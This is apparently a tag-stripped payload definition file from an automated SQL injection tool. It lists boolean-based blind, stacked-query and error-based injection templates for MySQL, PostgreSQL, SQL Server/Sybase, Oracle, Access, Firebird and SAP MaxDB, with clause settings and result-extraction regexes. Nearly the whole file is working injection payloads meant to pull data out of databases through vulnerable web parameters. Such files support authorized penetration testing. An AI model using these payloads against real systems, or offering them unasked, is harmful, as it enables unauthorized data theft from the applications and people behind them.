- - - PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES - original value) - 1 - 3 - 2 - 1,2,3 - 3 - (SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) - - (SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) - - - (SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1) - -
- PostgreSQL -
-
- - - Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value) - 1 - 3 - 1 - 1,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) - - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Oracle boolean-based blind - Parameter replace (original value) - 1 - 3 - 1 - 1,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) - - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) - -
- Oracle -
-
- - - Microsoft Access boolean-based blind - Parameter replace (original value) - 1 - 3 - 1 - 1,3 - 3 - IIF([INFERENCE],[ORIGVALUE],1/0) - - IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0) - - - IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0) - -
- Microsoft Access -
-
- - - SAP MaxDB boolean-based blind - Parameter replace (original value) - 1 - 3 - 1 - 1,3 - 3 - (CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END) - - (CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END) - - - (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END) - -
- SAP MaxDB -
-
- - - - - - Generic boolean-based blind - GROUP BY and ORDER BY clauses - 1 - 3 - 1 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/(SELECT 0) END)) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/(SELECT 0) END)) - - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/(SELECT 0) END)) - - - - - Generic boolean-based blind - GROUP BY and ORDER BY clauses (original value) - 1 - 4 - 1 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) - - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) - - - - - MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses - 1 - 3 - 1 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) - - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) - -
- MySQL - >= 5.0 -
-
- - - MySQL < 5.0 boolean-based blind - GROUP BY and ORDER BY clauses - 1 - 4 - 1 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) - - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) - -
- MySQL -
-
- - - Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause - 1 - 3 - 1 - 3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) - - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Oracle boolean-based blind - GROUP BY and ORDER BY clauses - 1 - 3 - 1 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) - - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) - -
- Oracle -
-
- - - Microsoft Access boolean-based blind - GROUP BY and ORDER BY clauses - 1 - 3 - 1 - 2,3 - 1 - ,IIF([INFERENCE],[ORIGVALUE],1/0) - - ,IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0) - - - ,IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0) - -
- Microsoft Access -
-
- - - - - - - Microsoft SQL Server/Sybase stacked conditional-error blind queries - 1 - 3 - 0 - 0 - 1 - ; IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR] - - ; IF([RANDNUM]=[RANDNUM]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR] - -- - - - ; IF([RANDNUM]=[RANDNUM1]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR] - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - PostgreSQL stacked conditional-error blind queries - 1 - 3 - 0 - 0 - 2 - ; SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END) - - ; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END) - -- - - - ; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END) - -
- PostgreSQL -
-
- - - - - MySQL >= 5.0 AND error-based - WHERE or HAVING clause - 2 - 1 - 0 - 1 - 1 - AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) - - AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.0 -
-
- - - MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE) - 2 - 2 - 0 - 1 - 1 - AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - - AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.1 -
-
- - - MySQL >= 5.1 AND error-based - WHERE or HAVING clause (UPDATEXML) - 2 - 3 - 0 - 1 - 1 - AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) - - AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.1 -
-
- - - MySQL >= 4.1 AND error-based - WHERE or HAVING clause - 2 - 2 - 0 - 1 - 1 - AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) - - AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 4.1 -
-
- - - PostgreSQL AND error-based - WHERE or HAVING clause - 2 - 1 - 0 - 1 - 1 - AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) - - AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- PostgreSQL -
-
- - - Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause - 2 - 1 - 0 - 1 - 1 - AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) - - AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN) - 2 - 2 - 0 - 1 - 1 - AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) - - AND [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Oracle AND error-based - WHERE or HAVING clause (XMLType) - 2 - 1 - 0 - 1 - 1 - AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) - - AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Oracle -
-
- - - Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) - 2 - 2 - 0 - 1 - 1 - AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - - AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Oracle - >= 8.1.6 -
-
- - - Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) - 2 - 3 - 0 - 1 - 1 - AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - - AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Oracle -
-
- - - Firebird AND error-based - WHERE or HAVING clause - 2 - 2 - 0 - 1 - 1 - AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - - AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Firebird -
-
- - - MySQL >= 5.0 OR error-based - WHERE or HAVING clause - 2 - 2 - 2 - 1 - 2 - OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) - - OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.0 -
-
- - - MySQL >= 5.1 OR error-based - WHERE or HAVING clause (EXTRACTVALUE) - 2 - 3 - 2 - 1 - 1 - OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - - OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.1 -
-
- - - MySQL >= 5.1 OR error-based - WHERE or HAVING clause (UPDATEXML) - 2 - 4 - 2 - 1 - 1 - OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) - - OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.1 -
-
- - - MySQL >= 4.1 OR error-based - WHERE or HAVING clause - 2 - 2 - 2 - 1 - 2 - OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) - - OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 4.1 -
-
- - - MySQL OR error-based - WHERE or HAVING clause - 2 - 3 - 2 - 1 - 2 - OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) - - OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) - # - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL -
-
- - - PostgreSQL OR error-based - WHERE or HAVING clause - 2 - 2 - 2 - 1 - 2 - OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) - - OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- PostgreSQL -
-
- - - Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause - 2 - 2 - 2 - 1 - 2 - OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) - - OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN) - 2 - 3 - 2 - 1 - 2 - OR [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) - - OR [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Oracle OR error-based - WHERE or HAVING clause (XMLType) - 2 - 2 - 2 - 1 - 2 - OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) - - OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Oracle -
-
- - - Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) - 2 - 3 - 2 - 1 - 2 - OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - - OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Oracle - >= 8.1.6 -
-
- - - Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) - 2 - 4 - 2 - 1 - 2 - OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - - OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Oracle -
-
- - - Firebird OR error-based - WHERE or HAVING clause - 2 - 3 - 2 - 1 - 2 - OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - - OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Firebird -
-
- - - - - - - MySQL >= 5.0 error-based - Parameter replace - 2 - 3 - 0 - 1,2,3 - 3 - (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) - - (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.0 -
-
- - - MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE) - 2 - 3 - 0 - 1,2,3 - 3 - (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))) - - (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.1 -
-
- - - MySQL >= 5.1 error-based - Parameter replace (UPDATEXML) - 2 - 4 - 0 - 1,2,3 - 3 - (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])) - - (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.1 -
-
- - - PostgreSQL error-based - Parameter replace - 2 - 3 - 0 - 1,2,3 - 3 - (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) - - (CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- PostgreSQL -
-
- - - Microsoft SQL Server/Sybase error-based - Parameter replace - 2 - 3 - 0 - 1,3 - 3 - (CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) - - (CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Microsoft SQL Server/Sybase error-based - Parameter replace (integer column) - 2 - 4 - 0 - 1,3 - 3 - (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') - - (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]') - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Oracle error-based - Parameter replace - 2 - 3 - 0 - 1,3 - 3 - (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) - - (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Oracle -
-
- - - Firebird error-based - Parameter replace - 2 - 4 - 0 - 1,3 - 3 - (SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')) - - (SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Firebird -
-
- - - - - - MySQL >= 5.0 error-based - GROUP BY and ORDER BY clauses - 2 - 3 - 0 - 2,3 - 1 - ,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) - - ,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.0 -
-
- - - MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses (EXTRACTVALUE) - 2 - 3 - 0 - 2,3 - 1 - ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - - ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.1 -
-
- - - MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses (UPDATEXML) - 2 - 4 - 0 - 2,3 - 1 - ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) - - ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.1 -
-
- - - PostgreSQL error-based - GROUP BY and ORDER BY clauses - 2 - 3 - 0 - 2,3 - 1 - ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) - - ,(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- PostgreSQL -
-
- - - Microsoft SQL Server/Sybase error-based - ORDER BY clause - 2 - 3 - 0 - 3 - 1 - ,(CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) - - ,(CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Microsoft SQL Server - Sybase - Windows -
-
